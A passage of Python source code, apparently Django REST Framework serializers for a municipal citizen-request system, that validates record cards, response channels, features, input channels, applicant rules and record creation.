validated_data, validation_errors):\n \"\"\"\n Check record card response channels\n\n :param record_card: record card instance\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n\n response_channel_id = validated_data[\"response_channel\"].pk\n if not record_card.element_detail.immediate_response:\n self.check_response_channel(response_channel_id,\n record_card.element_detail.elementdetailresponsechannel_set,\n validation_errors)\n else:\n if response_channel_id not in ResponseChannel.IMMEDAIATE_RESPONSE_CHANNELS:\n validation_errors[\"response_channel\"] = _(\"Response Channel not allowed for immediate response\")\n validated_data['response_channel'] = ResponseChannel.objects.get(pk=ResponseChannel.IMMEDIATE)\n\n @staticmethod\n def check_applicant_send_response(record_card, validated_data):\n \"\"\"\n If applicant is an internal operator, send response depends on applicant type\n\n If applicant document is ND (applicant generic) response channel must be ResponseChannel.None and\n send response must be set to False\n\n :param record_card: record card instance\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n if not record_card.request.applicant:\n return\n is_internal_operator = False\n send_response = True\n if record_card.request.applicant.is_internal_operator(record_card.applicant_type_id,\n record_card.input_channel_id):\n is_internal_operator = True\n send_response = ApplicantType.get_send_response(record_card.applicant_type_id)\n\n if record_card.request.applicant.document == settings.CITIZEN_ND:\n validated_data[\"response_channel\"] = ResponseChannel.objects.get(pk=ResponseChannel.NONE)\n send_response = False\n\n return is_internal_operator, send_response\n\n @staticmethod\n def check_internal_operator_response_channels(send_response, validated_data, validation_errors):\n \"\"\"\n If record card applicant is internal operator:\n - if response has not to be sent response channel must be ResponseChannel.NONE\n - if response has to be sent, response channel could not be None\n\n :param send_response: boolean to indicate if the response has to be sent\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n if not send_response:\n validated_data[\"response_channel\"] = ResponseChannel.objects.get(pk=ResponseChannel.NONE)\n else:\n if validated_data[\"response_channel\"].pk == ResponseChannel.NONE:\n validation_errors[\"response_channel\"] = _(\"Response Channel can not be 'None' because applicant \"\n \"is an internal operator that requires the response\")\n\n def check_response_fields(self, response_channel_id, validated_data, validation_errors):\n raise NotImplementedError\n\n\nclass RecordCardResponseSerializer(SerializerCreateExtraMixin, RecordCardResponseValidationMixin,\n serializers.ModelSerializer):\n record_card = serializers.PrimaryKeyRelatedField(\n queryset=RecordCard.objects.filter(enabled=True),\n error_messages={\n \"does_not_exist\": _(\"The selected RecordCard does not exist or is not enabled\"),\n },\n required=False, allow_null=True\n )\n\n language = serializers.ChoiceField(choices=LANGUAGES, required=False)\n\n class Meta:\n model = RecordCardResponse\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"address_mobile_email\", \"number\", \"municipality\",\n \"province\", \"postal_code\", \"answered\", \"enabled\", \"via_type\", \"via_name\", \"floor\", \"door\", \"stair\",\n \"correct_response_data\", \"response_channel\", \"record_card\", \"language\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\")\n\n def __init__(self, instance=None, data=empty, **kwargs):\n self.multirecord_response_channel = kwargs.pop(\"multirecord_response_channel\", None)\n super().__init__(instance, data, **kwargs)\n\n def check_response_fields(self, response_channel_id, validated_data, validation_errors):\n \"\"\"\n Check response fields\n\n :param response_channel_id: Response Channel id of record card response\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n if response_channel_id == ResponseChannel.EMAIL:\n if not validated_data.get(\"address_mobile_email\"):\n validation_errors[\"address_mobile_email\"] = _(\"This field is mandatory for giving an answer by email.\")\n elif response_channel_id == ResponseChannel.SMS or response_channel_id == ResponseChannel.TELEPHONE:\n if not validated_data.get(\"address_mobile_email\"):\n validation_errors[\"address_mobile_email\"] = _(\"This field is mandatory for giving an answer\"\n \" by SMS or Telephone.\")\n elif response_channel_id == ResponseChannel.LETTER:\n self.check_letter_fields(validated_data, validation_errors)\n\n @staticmethod\n def check_letter_fields(validated_data, validation_errors):\n \"\"\"\n Check letter fields\n\n :param validated_data: Dict with validated data of the serializer\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n error_message = _(\"This field is mandatory for giving an answer by Letter.\")\n if not validated_data.get(\"address_mobile_email\"):\n validation_errors[\"address_mobile_email\"] = error_message\n if not validated_data.get(\"municipality\"):\n validation_errors[\"municipality\"] = error_message\n if not validated_data.get(\"province\"):\n validation_errors[\"province\"] = error_message\n if not validated_data.get(\"postal_code\"):\n validation_errors[\"postal_code\"] = error_message\n\n def check_response_channel(self, response_channel_id, response_channels, validation_errors):\n \"\"\"\n Check response channels\n\n :param response_channel_id: Response Channel id of record card response\n :param response_channels: Element detaul Response channels manager\n :param validation_errors: dict for validation errors\n :return:\n \"\"\"\n if response_channel_id is None:\n validation_errors[\"response_channel\"] = _(\"This field is required\")\n\n response_channels_themes_ids = response_channels.filter(\n enabled=True, responsechannel__enabled=True).values_list(\"responsechannel_id\", flat=True)\n\n if self.invalid_response_channel(response_channel_id, response_channels_themes_ids):\n validation_errors[\"response_channel\"] = _(\"This response channel is not allowed for this record card theme\")\n\n def invalid_response_channel(self, response_channel_id, response_channels_themes_ids):\n if self.multirecord_response_channel:\n if response_channel_id != self.multirecord_response_channel \\\n and response_channel_id not in response_channels_themes_ids:\n return True\n else:\n if response_channel_id not in response_channels_themes_ids:\n return True\n return False\n\n\nclass RecordCardBlockSerializer(serializers.ModelSerializer):\n class Meta:\n model = RecordCardBlock\n fields = (\"user_id\", \"record_card\", \"expire_time\")\n read_only = fields\n\n\nclass RegisterSerializer(serializers.ModelSerializer):\n class Meta:\n model = AriadnaRecord\n fields = (\"code\",)\n\n\nclass RecordFeaturesBaseSerializer(serializers.ModelSerializer):\n features = ManyToManyExtendedSerializer(source=\"recordcardfeatures_set\", required=False,\n **{\"many_to_many_serializer\": RecordCardFeaturesSerializer,\n \"model\": RecordCardFeatures, \"related_field\": \"record_card\",\n \"to\": \"feature\", \"extra_values_params\": [\"value\"],\n \"extra_query_fields\": {\"is_theme_feature\": True}})\n\n special_features = ManyToManyExtendedSerializer(source=\"recordcardspecialfeatures_set\", required=False,\n **{\"many_to_many_serializer\": RecordCardSpecialFeaturesSerializer,\n \"model\": RecordCardSpecialFeatures, \"to\": \"feature\",\n \"related_field\": \"record_card\", \"extra_values_params\": [\"value\"],\n \"extra_query_fields\": {\"is_theme_feature\": True}})\n\n class Meta:\n model = RecordCard\n fields = (\"features\", \"special_features\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.validation_errors = {}\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n self.check_features(validated_data)\n return validated_data\n\n def set_features(self, validated_data, related_instance=None):\n \"\"\"\n Set features from RecordCard\n :param validated_data: Dict with validated data of the serializer\n :param related_instance: record card instance for RecordCardFeatures/SpecialFeatures creation\n :return:\n \"\"\"\n if \"features\" in self.initial_data:\n serializer_kwargs = {\n \"many_to_many_serializer\": RecordCardFeaturesSerializer, \"model\": RecordCardFeatures,\n \"related_field\": \"record_card\", \"to\": \"feature\", \"extra_values_params\": [\"value\"],\n \"extra_data_params\": [\"feature__description\", \"feature__values_type\", \"is_theme_feature\"]\n }\n if related_instance:\n serializer_kwargs[\"related_instance\"] = related_instance\n\n ser = self.get_features_serializer_class()(**serializer_kwargs, source=\"recordcardfeatures_set\",\n data=self.initial_data[\"features\"], context=self.context)\n ser.bind(field_name=\"\", parent=self)\n if ser.is_valid():\n ser.save()\n validated_data.pop(ser.source, None)\n\n def set_special_features(self, validated_data, related_instance=None):\n \"\"\"\n Set special features from RecordCard\n :param validated_data: Dict with validated data of the serializer\n :param related_instance: record card instance for RecordCardFeatures/SpecialFeatures creation\n :return:\n \"\"\"\n\n if \"special_features\" in self.initial_data:\n serializer_kwargs = {\n \"many_to_many_serializer\": RecordCardSpecialFeaturesSerializer, \"model\": RecordCardSpecialFeatures,\n \"related_field\": \"record_card\", \"to\": \"feature\", \"extra_values_params\": [\"value\"],\n \"extra_data_params\": [\"feature__description\", \"feature__values_type\", \"is_theme_feature\"]\n }\n if related_instance:\n serializer_kwargs[\"related_instance\"] = related_instance\n ser = self.get_features_serializer_class()(**serializer_kwargs, source=\"recordcardspecialfeatures_set\",\n data=self.initial_data[\"special_features\"], context=self.context)\n ser.bind(field_name=\"\", parent=self)\n if ser.is_valid():\n ser.save()\n validated_data.pop(ser.source, None)\n\n def check_features(self, validated_data):\n \"\"\"\n Check record card features\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n\n if \"features\" in self.fields or \"special_features\" in self.fields:\n self._validate_features(validated_data)\n\n def _validate_features(self, validated_data):\n element_detail = validated_data.get(\"element_detail\") or self.instance.element_detail\n features_to_check = self.initial_data.get(\"features\", []) + self.initial_data.get(\"special_features\", [])\n\n element_detail_features = element_detail.feature_configs.filter(\n enabled=True, feature__deleted__isnull=True).select_related(\"feature\")\n if self._features_are_valid_for_theme(element_detail, element_detail_features, features_to_check):\n self._check_feature_values(element_detail_features, features_to_check)\n\n def _features_are_valid_for_theme(self, element_detail, element_detail_features, features_to_check):\n mandatory_features = [f for f in element_detail_features if f.is_mandatory or f.feature.is_special]\n if len(features_to_check) < len(mandatory_features):\n error_message = _(\"The number of features is not the required at the ElementDetail\")\n self.validation_errors[\"features\"] = error_message\n self.validation_errors[\"special_features\"] = error_message\n return False\n else:\n # Check that all the features set on the record card are related to the element detail\n features_pks = element_detail.feature_configs.get_features_pk()\n errors_feature_list = self._check_features_related_to_detail(features_pks, \"features\")\n errors_specialfeature_list = self._check_features_related_to_detail(features_pks, \"special_features\")\n\n if errors_feature_list or errors_specialfeature_list:\n self.send_features_errors(errors_feature_list, errors_specialfeature_list)\n return\n return True\n\n def _check_feature_values(self, element_detail_features, features_to_check):\n errors_feature_list = []\n errors_specialfeature_list = []\n for elem_feature in element_detail_features:\n found = False\n for feature_dict in features_to_check:\n if int(feature_dict[\"feature\"]) == elem_feature.feature.pk:\n found = True\n if elem_feature.is_mandatory and not feature_dict[\"value\"]:\n error_message = _(\"This feature is mandatory. Value must be set.\")\n self.set_feature_error(elem_feature, errors_feature_list, errors_specialfeature_list,\n error_message)\n break\n if not found and (elem_feature.is_mandatory or elem_feature.feature.is_special):\n error_message = _(\"This feature must be set.\")\n self.set_feature_error(elem_feature, errors_feature_list, errors_specialfeature_list, error_message)\n\n self.send_features_errors(errors_feature_list, errors_specialfeature_list)\n\n def _check_features_related_to_detail(self, features_pks, feature_field):\n errors_feature_list = []\n for characteristic in self.initial_data.get(feature_field, []):\n if int(characteristic[\"feature\"]) not in features_pks:\n errors_feature_list.append({characteristic[\"feature\"]: _(\"Characteristic not related to the detail\")})\n return errors_feature_list\n\n def send_features_errors(self, errors_feature_list, errors_specialfeature_list):\n \"\"\"\n Raise features errors if they exist\n :param errors_feature_list: list of feature errors\n :param errors_specialfeature_list: list of special features errors\n :return:\n \"\"\"\n if errors_feature_list:\n self.validation_errors[\"features\"] = errors_feature_list\n if errors_specialfeature_list:\n self.validation_errors[\"special_features\"] = errors_specialfeature_list\n\n @staticmethod\n def set_feature_error(elem_feature, errors_feature_list, errors_specialfeature_list, error_message):\n \"\"\"\n Register feature error\n :param elem_feature: elementFeature with error\n :param errors_feature_list: list of feature errors\n :param errors_specialfeature_list: list of special features errors\n :param error_message: Error message\n :return:\n \"\"\"\n feature_error = {elem_feature.feature_id: error_message}\n if elem_feature.feature.is_special:\n errors_specialfeature_list.append(feature_error)\n else:\n errors_feature_list.append(feature_error)\n\n @staticmethod\n def get_features_serializer_class():\n \"\"\"\n :return: Features serializer class\n \"\"\"\n return ManyToManyExtendedSerializer\n\n\nclass RecordCardBaseSerializer(RecordFeaturesBaseSerializer, serializers.ModelSerializer):\n ubication = UbicationSerializer(required=False)\n\n recordcardresponse = RecordCardResponseSerializer()\n\n class Meta:\n model = RecordCard\n fields = (\"ubication\", \"features\", \"special_features\", \"recordcardresponse\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.permission_checker = self.get_user_permission_checker()\n if \"ubication\" in self.fields:\n self.fields[\"ubication\"].context.update(self.context)\n\n def get_user_permission_checker(self):\n \"\"\"\n Get the permission checker object for the user\n :return: Permission Checke class\n \"\"\"\n user = getattr(self.context.get(\"request\"), \"user\", None)\n return IrisPermissionChecker.get_for_user(user) if user else None\n\n def set_ubication(self, validated_data):\n \"\"\"\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n element_detail = self.context.get(\"element_detail\")\n if not element_detail:\n raise ValidationError({\"non_field_errors\": _(\"Element Detail is required for ubication validation\")})\n\n initial_ubication = self.initial_data.get(\"ubication\")\n if element_detail.requires_ubication or element_detail.requires_ubication_district:\n if not initial_ubication:\n raise ValidationError({\"ubication\": _(\"Address is required with this Element Detail\")})\n\n if initial_ubication:\n try:\n ubication = Ubication.objects.get(pk=initial_ubication[\"id\"], enabled=True)\n ubication_serializer = UbicationSerializer(instance=ubication, data=initial_ubication,\n context=self.context)\n except (Ubication.DoesNotExist, KeyError):\n ubication_serializer = UbicationSerializer(data=initial_ubication, context=self.context)\n ubication_serializer.is_valid(raise_exception=True)\n validated_data[\"ubication\"] = ubication_serializer.save()\n\n\nclass RecordCardSerializer(SerializerCreateExtraMixin, SerializerUpdateExtraMixin, GetGroupFromRequestMixin,\n RecordCardBaseSerializer, IrisSerializer):\n extra_actions = True\n post_create_extra_actions = True\n post_data_keys = [\"recordcardresponse\", \"register_code\"]\n\n record_type_id = serializers.PrimaryKeyRelatedField(\n source=\"record_type\", read_only=True,\n error_messages={\"does_not_exist\": _(\"The selected record_type does not exist\")})\n record_type = RecordTypeSerializer(read_only=True)\n\n input_channel_id = serializers.PrimaryKeyRelatedField(\n source=\"input_channel\", queryset=InputChannel.objects.filter(visible=True),\n error_messages={\"does_not_exist\": _(\"The selected input_channel does not exist or is not enabled\")})\n input_channel = InputChannelSerializer(read_only=True)\n\n support_id = serializers.PrimaryKeyRelatedField(\n source=\"support\", queryset=Support.objects.all(),\n error_messages={\"does_not_exist\": _(\"The selected support does not exist or is not enabled\")})\n support = SupportSerializer(read_only=True)\n\n element_detail_id = serializers.PrimaryKeyRelatedField(\n source=\"element_detail\",\n queryset=ElementDetail.objects.filter(**ElementDetail.ENABLED_ELEMENTDETAIL_FILTERS),\n error_messages={\"does_not_exist\": _(\"The selected element_detail does not exist\")})\n\n element_detail = ElementDetailSerializer(read_only=True)\n\n applicant_id = serializers.SerializerMethodField()\n\n request = RequestSerializer(read_only=True)\n\n record_state_id = serializers.PrimaryKeyRelatedField(\n source=\"record_state\", read_only=True,\n error_messages={\"does_not_exist\": _(\"The selected record_state does not exist or is not enabled\")},\n )\n record_state = RecordStateSerializer(read_only=True)\n\n communication_media_id = serializers.PrimaryKeyRelatedField(\n source=\"communication_media\", queryset=CommunicationMedia.objects.all(), required=False,\n error_messages={\"does_not_exist\": _(\"The selected Communication Media does not exist or is not enabled\")})\n communication_media = CommunicationMediaSerializer(read_only=True)\n\n comments = serializers.SerializerMethodField()\n\n applicant_type_id = serializers.PrimaryKeyRelatedField(\n source=\"applicant_type\", queryset=ApplicantType.objects.all(),\n error_messages={\"does_not_exist\": _(\"The selected applicant type does not exist or is not enabled\")})\n applicant_type = ApplicantTypeSerializer(read_only=True)\n\n blocked = serializers.SerializerMethodField()\n\n actions = serializers.SerializerMethodField()\n group_can_answer = serializers.SerializerMethodField()\n without_applicant = serializers.BooleanField(required=False, default=False)\n wont_tramit = serializers.BooleanField(required=False, default=False)\n\n multirecord_from = serializers.PrimaryKeyRelatedField(\n queryset=RecordCard.objects.filter(enabled=True), required=False, allow_null=True,\n error_messages={\"does_not_exist\": _(\"The selected RecordCard does not exist or is not enabled\")})\n multirecord_copy_responsechannel = serializers.BooleanField(required=False)\n files = serializers.SerializerMethodField()\n register_code = serializers.CharField(validators=[RegexValidator(regex=r\"^([0-9]){4}\\/([0-9]){6}\")], required=False)\n\n full_detail = serializers.SerializerMethodField()\n alarms = serializers.SerializerMethodField()\n\n creation_department = serializers.CharField(required=False, allow_blank=True)\n\n class Meta:\n model = RecordCard\n fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"description\", \"responsible_profile\", \"process\",\n \"enabled\", \"mayorship\", \"normalized_record_id\", \"alarm\", \"auxiliary\", \"closing_date\",\n \"ans_limit_date\", \"urgent\", \"communication_media_detail\", \"communication_media_date\",\n \"record_parent_claimed\", \"reassignment_not_allowed\", \"page_origin\", \"email_external_derivation\",\n \"user_displayed\", \"historicized\", \"allow_multiderivation\", \"start_date_process\", \"appointment_time\",\n \"similar_process\", \"response_state\", \"notify_quality\", \"multi_complaint\", \"lopd\",\n \"citizen_alarm\", \"ci_date\", \"support_numbers\", \"element_detail\", \"element_detail_id\", \"request\",\n \"applicant_id\", \"ubication\", \"record_state\", \"record_state_id\", \"record_type\", \"record_type_id\",\n \"applicant_type\", \"applicant_type_id\", \"communication_media\", \"communication_media_id\", \"support\",\n \"support_id\", \"input_channel\", \"input_channel_id\", \"features\", \"special_features\", \"actions\",\n \"alarms\", \"ideal_path\", \"current_step\", \"comments\", \"recordcardresponse\", \"blocked\", \"full_detail\",\n \"multirecord_from\", \"is_multirecord\", \"multirecord_copy_responsechannel\", \"files\", \"register_code\",\n \"group_can_answer\", \"creation_department\", \"without_applicant\", \"organization\", \"wont_tramit\")\n read_only_fields = (\"id\", \"user_id\", \"created_at\", \"updated_at\", \"normalized_record_id\",\n \"ans_limit_date\", \"user_displayed\", \"record_state_id\", \"applicant_type\", \"record_type_id\",\n \"actions\", \"ideal_path\", \"comments\", \"record_state\", \"responsible_profile\", \"alarms\",\n \"start_date_process\", \"appointment_time\", \"current_step\", \"blocked\", \"is_multirecord\")\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if self.instance is None and hasattr(self, \"initial_data\"):\n if \"applicant_id\" in self.fields:\n self.fields[\"applicant_id\"] = serializers.PrimaryKeyRelatedField(\n queryset=Applicant.objects.all(), required=False,\n error_messages={\"does_not_exist\": _(\"The selected applicant does not exist or is not enabled\")})\n if self.initial_data.get(\"multirecord_from\"):\n self.fields[\"input_channel_id\"].required = False\n self.fields[\"input_channel_id\"].queryset = InputChannel.objects.all()\n self.fields[\"support_id\"].required = False\n self.fields[\"applicant_type_id\"].required = False\n self.fields[\"recordcardresponse\"] = RecordCardResponseSerializer(\n multirecord_response_channel=self.get_multirecord_respchannel())\n self.ariadna = None\n\n def get_multirecord_respchannel(self):\n try:\n multirecord_from = RecordCard.objects.get(pk=self.initial_data[\"multirecord_from\"])\n if hasattr(multirecord_from, \"recordcardresponse\"):\n return multirecord_from.recordcardresponse.response_channel_id\n else:\n return None\n except RecordCard.DoesNotExist:\n return None\n\n @swagger_serializer_method(serializer_or_field=RecordCardBlockSerializer)\n def get_blocked(self, obj):\n current_block = obj.current_block\n return RecordCardBlockSerializer(current_block).data if current_block else None\n\n @swagger_serializer_method(serializer_or_field=serializers.BooleanField)\n def get_full_detail(self, obj):\n return True\n\n @swagger_serializer_method(serializer_or_field=serializers.DictField)\n def get_alarms(self, obj):\n request = self.context.get(\"request\")\n group = self.get_group_from_request(request)\n return RecordCardAlarms(obj, group).alarms\n\n @swagger_serializer_method(serializer_or_field=serializers.IntegerField)\n def get_applicant_id(self, obj):\n return obj.request.applicant.pk\n\n @swagger_serializer_method(serializer_or_field=serializers.ListField)\n def get_comments(self, obj):\n return [CommentSerializer(comment).data for comment in obj.comments.filter(enabled=True)]\n\n @swagger_serializer_method(serializer_or_field=serializers.DictField)\n def get_actions(self, obj):\n request = self.context.get(\"request\")\n if request:\n return RecordActions(obj, request.user).actions()\n return {}\n\n @swagger_serializer_method(serializer_or_field=serializers.BooleanField)\n def get_group_can_answer(self, obj):\n request = self.context.get(\"request\")\n if not request:\n return {\"can_answer\": False, \"reason\": _(\"Request not detected\")}\n group = self.get_group_from_request(request)\n return obj.group_can_answer(group)\n\n @swagger_serializer_method(serializer_or_field=serializers.ListField)\n def get_files(self, obj):\n return [RecordFileShortSerializer(record_file).data for record_file in obj.recordfile_set.all()]\n\n def run_validation(self, data=empty):\n validated_data = super().run_validation(data)\n\n element_detail = validated_data.get(\"element_detail\")\n if element_detail and self.context.get('validate_theme_active', True):\n if not element_detail.is_active:\n self.validation_errors[\"element_detail_id\"] = _(\"Element Detail can not be used because is not active\")\n\n self.check_communication_media(validated_data)\n self.check_input_channel(validated_data)\n self.check_mayorship(validated_data)\n self.check_applicant_in_record_creation(validated_data)\n self.check_citizen_nd(validated_data)\n self.check_register_code(validated_data)\n self.check_multirecord_from(validated_data)\n\n if self.context.get(\"request\"):\n self.check_request_usergroup(validated_data)\n\n if self.validation_errors:\n raise ValidationError(self.validation_errors, code=\"invalid\")\n\n return validated_data\n\n def check_input_channel(self, validated_data):\n \"\"\"\n Check that input channel is not Quiosc\n If mayorshipt is set to True, check if input_channel allows mayorship flag\n\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n if validated_data.get(\"multirecord_from\"):\n # If a multirecord card is being created, the input channel will be of the multirecord from\n return\n\n # View can skip this check for custom creation endpoints like surveys\n if not self.context.get('validate_group_input_channel', True):\n return\n input_channel = validated_data.get(\"input_channel\")\n if input_channel:\n if input_channel.pk == InputChannel.QUIOSC:\n self.validation_errors[\"input_channel_id\"] = _(\"Input Channel 'QUIOSC' can not be used in a \"\n \"record creation/update\")\n\n input_channel_pks = GroupInputChannel.objects.get_input_channels_from_group(\n self.context[\"request\"].user.usergroup.group)\n if input_channel.pk not in input_channel_pks:\n self.validation_errors[\"input_channel_id\"] = _(\"Input Channel is not allowed for user group\")\n\n support = validated_data.get(\"support\")\n if not InputChannelSupport.objects.filter(input_channel=input_channel, support=support).exists():\n self.validation_errors[\"support_id\"] = _(\"Support is not allowed for the selected input channel\")\n\n if validated_data.get(\"mayorship\"):\n if not input_channel.can_be_mayorship:\n self.validation_errors[\"mayorship\"] = _(\"If input channel does not allow mayorship, \"\n \"this can not be set to True\")\n\n def check_communication_media(self, validated_data):\n \"\"\"\n Check communication media data when support is \"Communication Media\"\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n support = validated_data.get(\"support\")\n if support and support.pk == Support.COMMUNICATION_MEDIA:\n if not validated_data.get(\"communication_media\"):\n self.validation_errors[\"communication_media\"] = _(\"If support Communication Media has been selected, a \"\n \"comunication media has to be set\")\n if not validated_data.get(\"communication_media_date\"):\n self.validation_errors[\"communication_media_date\"] = _(\"If support Communication Media has been \"\n \"selected, a the publish date has to be set\")\n\n def check_register_code(self, validated_data):\n \"\"\"\n Check ariadna's register code\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n if \"register_code\" not in validated_data:\n # There¡'s not register code to check\n return\n\n support = validated_data.get(\"support\")\n register_code = validated_data.get(\"register_code\")\n if support and support.register_required and not register_code:\n self.validation_errors[\"support_id\"] = _(\"Register code is required for the selected support\")\n\n try:\n self.ariadna = Ariadna.objects.get(code=register_code)\n except Ariadna.DoesNotExist:\n self.validation_errors[\"register_code\"] = _(\"Register Code selected does not exist\")\n\n def check_multirecord_from(self, validated_data):\n \"\"\"\n Check the multirecord data\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n record_card_from = validated_data.get(\"multirecord_from\")\n if record_card_from and not self.permission_checker.has_permission(RECARD_MULTIRECORD):\n raise ValidationError({'detail': _(\"User's group is not allowed to create multirecords\")})\n\n if record_card_from and record_card_from.multirecord_from:\n self.validation_errors[\"multirecord_from\"] = _(\"The RecordCard selected has alredy a multirecord\")\n\n def check_applicant_in_record_creation(self, validated_data):\n \"\"\"\n Check the required applicant id field on write operations\n\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n without_applicant = validated_data.pop(\"without_applicant\", False)\n self.wont_tramit = validated_data.pop(\"wont_tramit\", False)\n if without_applicant:\n return\n if isinstance(self.fields.get(\"applicant_id\"), serializers.PrimaryKeyRelatedField):\n if self.instance is None and not validated_data.get(\"applicant_id\"):\n self.validation_errors[\"applicant_id\"] = _(\"Applicant id must be set\")\n\n no_block_theme_pk = int(Parameter.get_parameter_by_key(\"TEMATICA_NO_BLOQUEJADA\", 392))\n applicant = validated_data.get(\"applicant_id\")\n if not applicant:\n self.validation_errors[\"applicant_id\"] = _(\"Applicant is required\")\n return\n element_detail = validated_data.get(\"element_detail\")\n if applicant.blocked and no_block_theme_pk != element_detail.pk:\n self.validation_errors[\"applicant_id\"] = _(\"Applicant can not be used to create a record because \"\n \"it's blocked\")\n\n def check_mayorship(self, validated_data):\n \"\"\"\n Check that the user has permissions to set mayorship to true\n\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n\n if validated_data.get(\"mayorship\") and not self.permission_checker.has_permission(MAYORSHIP):\n self.validation_errors[\"mayorship\"] = _(\"User's group is not allowed to set mayorship\")\n\n def check_request_usergroup(self, validated_data):\n \"\"\"\n Check the configurations of the user's group\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n if not hasattr(self.context[\"request\"].user, \"usergroup\"):\n self.validation_errors[\"non_field_errors\"] = _(\"User without an assigned group can not create RecordCards\")\n return\n\n if self.context[\"request\"].user.usergroup.group.is_anonymous:\n self.validation_errors[\n \"non_field_errors\"] = _(\"User assigned to Anonymoys Group can not create RecordCards\")\n\n if not validated_data.get(\"multirecord_from\") and self.context.get('validate_group_input_channel', True):\n # The check has only to be done if the RecordCard is not a multirecord because\n # a multirecord card will have the same input channel that its parent record\n input_channels_group = GroupInputChannel.objects.get_input_channels_from_group(\n self.context[\"request\"].user.usergroup.group)\n if validated_data.get(\"input_channel\") and validated_data[\"input_channel\"].pk not in input_channels_group:\n self.validation_errors[\"input_channel_id\"] = _(\"InputChannel is not allowed to user's group\")\n\n def check_citizen_nd(self, validated_data):\n \"\"\"\n Check citizen ND configs\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n applicant = validated_data.get(\"applicant_id\")\n if not applicant:\n # There's not applicant to check\n return\n\n if applicant.citizen and Applicant.is_nd_doc(applicant.citizen.dni):\n if not settings.CITIZEN_ND_ENABLED:\n self.validation_errors[\"applicant_id\"] = _(\"Citizen ND logic not enabled, not allowed to create\"\n \"a record card with a citizen with dni ND\")\n return\n\n if validated_data.get(\"multirecord_from\"):\n support = validated_data[\"multirecord_from\"].support\n else:\n support = validated_data.get(\"support\")\n if not support.allow_nd:\n self.validation_errors[\"applicant_id\"] = _(\"The selected support does not allow the creation of \"\n \"a record card with a citizen with dni ND\")\n return\n\n group = self.get_group_from_request(self.context[\"request\"])\n\n if group and not group.citizen_nd:\n self.validation_errors[\"applicant_id\"] = _(\"The user group does not allow the creation of a \"\n \"record card with a citizen with dni ND\")\n\n def do_extra_actions_on_create(self, validated_data):\n \"\"\"\n Perform extra actions on create\n :param validated_data: Dict with validated data from the serializer\n :return:\n \"\"\"\n self.set_ubication(validated_data)\n\n applicant = validated_data.pop(\"applicant_id\", None)\n\n if self.context.get(\"request\") and hasattr(self.context[\"request\"], \"application\"):\n application = self.context[\"request\"].application\n else:\n application = None\n\n user_group = self.context[\"request\"].user.usergroup.group\n if validated_data[\"input_channel\"].can_be_mayorship and validated_data.get(\"mayorship\", False):\n # If we can't identify the mayorship group, the RecordCard will be assigned to DAIR\n param = Parameter.get_parameter_by_key(\"PERFIL_DERIVACIO_ALCALDIA\", None)\n try:\n group = Group.objects.get(pk=param)\n except Group.DoesNotExist:\n group = Group.get_dair_group()\n\n validated_data[\"responsible_profile\"] = group\n else:\n validated_data[\"responsible_profile\"] = Group.get_initial_group_for_record()\n validated_data[\"request\"] = Request.objects.create(\n applicant=applicant, applicant_type=validated_data[\"applicant_type\"],\n input_channel=validated_data[\"input_channel\"],\n communication_media=validated_data.get(\"communication_media\"),\n application=application, normalized_id=set_reference(Request, \"normalized_id\"))\n\n validated_data[\"creation_group\"] = user_group\n\n self.multirecord_actions(validated_data)\n\n def do_post_create_extra_actions(self, instance, validated_data):\n \"\"\"\n Perform extra actions on create after the instance creation\n :param instance: Instance of the created object\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n request = self.context.get(\"request\")\n # register the initial state change\n initial_state = RecordState.PENDING_VALIDATE\n wont_tramit = self.wont_tramit or instance.element_detail.requires_citizen\n if wont_tramit and not instance.request.applicant:\n initial_state = RecordState.NO_PROCESSED\n instance.record_state_id = initial_state\n instance.save()\n instance.set_record_state_history(initial_state, request.user if request else None,\n previous_state_code=initial_state, automatic=True)\n\n self.set_record_card_response(instance, validated_data)\n self.set_features(validated_data, related_instance=instance)\n self.set_special_features(validated_data, related_instance=instance)\n self.set_register_code(instance)\n\n # If the theme of the RecordCard is configurate to autovalidate records on creation\n if instance.record_can_be_autovalidated():\n user = request.user if request else None\n instance.autovalidate_record(request.user.imi_data.get('dptcuser'), user, perform_derivation=False)\n\n if not validated_data[\"input_channel\"].can_be_mayorship or not validated_data.get(\"mayorship\", False):\n instance.derivate(user_id=get_user_traceability_id(request.user), reason=Reason.INITIAL_ASSIGNATION)\n\n def set_record_card_response(self, record_card, validated_data):\n \"\"\"\n Set record card response\n\n :param record_card: record card created\n :param validated_data: Dict with validated data of the serializer\n :return:\n \"\"\"\n if record_card.request.applicant:\n recordcard_response = self.initial_data[\"recordcardresponse\"]\n applicant = record_card.request.applicant.citizen or record_card.request.applicant.social_entity\n recordcard_response.update({\"record_card\": record_card.pk})\n if \"language\" not in recordcard_response:\n recordcard_response[\"language\"] = applicant.language if applicant.language else SPANISH\n serializer_context = self.context\n serializer_context.update({\"record_card_check\": True})\n multirecord_response_channel = None\n if validated_data.get(\"multirecord_from\"):\n try:\n resp_channel = validated_data[\"multirecord_from\"].recordcardresponse\n multirecord_response_channel = resp_channel.response_channel_id\n except AttributeError:\n 